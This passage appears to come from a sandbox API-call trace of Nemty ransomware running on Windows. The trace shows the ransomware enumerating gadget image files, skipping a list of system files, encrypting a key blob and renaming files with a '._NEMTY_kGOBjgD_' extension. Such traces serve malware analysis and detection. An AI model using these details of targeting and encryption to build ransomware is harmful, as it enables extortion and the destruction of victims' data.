lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0112.804] CloseHandle (hObject=0xffffffff) returned 0 [0112.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0112.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0112.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0112.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0112.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0112.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0112.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0112.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0112.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\month.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\month.png._nemty_kgobjgd_")) returned 0 [0112.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0112.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0112.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0112.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0112.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0112.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0112.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0112.805] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82438315, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82438315, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2842f2bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="rings-desk.png", cAlternateFileName="")) returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2=".") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="..") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="...") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="windows") returned -1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="$RECYCLE.BIN") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="rsa") returned -1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="NTDETECT.COM") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="ntldr") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="MSDOS.SYS") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="IO.SYS") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="boot.ini") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="boot.ini") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="AUTOEXEC.BAT") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="ntuser.dat") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="desktop.ini") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="CONFIG.SYS") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="RECYCLER") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="BOOTSECT.BAK") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="bootmgr") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="programdata") returned 1 [0112.805] lstrcmpiW (lpString1="rings-desk.png", lpString2="appdata") returned 1 [0112.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-desk.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0112.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-desk.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rings-desk.png", lpUsedDefaultChar=0x0) returned 14 [0112.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0112.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-desk.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0112.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-desk.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rings-desk.png", lpUsedDefaultChar=0x0) returned 14 [0112.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-desk.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0112.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-desk.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rings-desk.png", lpUsedDefaultChar=0x0) returned 14 [0112.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-desk.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0112.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-desk.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rings-desk.png", lpUsedDefaultChar=0x0) returned 14 [0112.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0112.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0112.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0112.806] Sleep (dwMilliseconds=0x5) [0112.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6e41cb0, dwHighDateTime=0x1d561e7)) [0112.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6e41cb0, dwHighDateTime=0x1d561e7)) [0112.817] GetLastError () returned 0x5 [0112.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.817] GetLastError () returned 0x5 [0112.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0112.817] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0112.817] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0112.817] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0112.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0112.817] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="zYik6qqTQ/zguO50O1nAv5q4ci8UWiQxKk3HvjiGWuBK74/ML5pXCSvxx9srg64m\r\ndOwuEFslCNU+9Wjxlr6mwxF8nJOb/dl6KuszGQPM5FCUoQkYNsM/QrNbeHbOmv9F\r\n8I7kjcnJmKgJb8OC0STc/5G+vxHaudta8IkBulH6LKe/NtihrWiPaUrpRYHUjslL\r\nQvju10zgUPgXJ92vT7Ctz3KTquFgWRtjihSvcxGXlMfnl6ayrj5GEQzigZElH7oZ\r\n6J3/F5fa4vJXQiu9MOlwx8CbT5bDqkqhPmyZ7KlWHQDibGyLuTf06Tcf8HPF4B1n\r\nwGL1uXwjPY29BnejDneYEA==\r\n", pcchString=0x653e91c) returned 1 [0112.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0112.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0112.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0112.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0112.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0112.818] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-desk.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-desk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.818] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0112.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0112.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.856] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.866] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.885] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.894] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.894] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.904] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.926] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.926] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0112.927] CloseHandle (hObject=0xffffffff) returned 0 [0112.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0112.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0112.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0112.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0112.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0112.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0112.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0112.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0112.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-desk.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-desk.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-desk.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-desk.png._nemty_kgobjgd_")) returned 0 [0112.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0112.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0112.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0112.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0112.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0112.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0112.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0112.927] FindNextFileW (in: 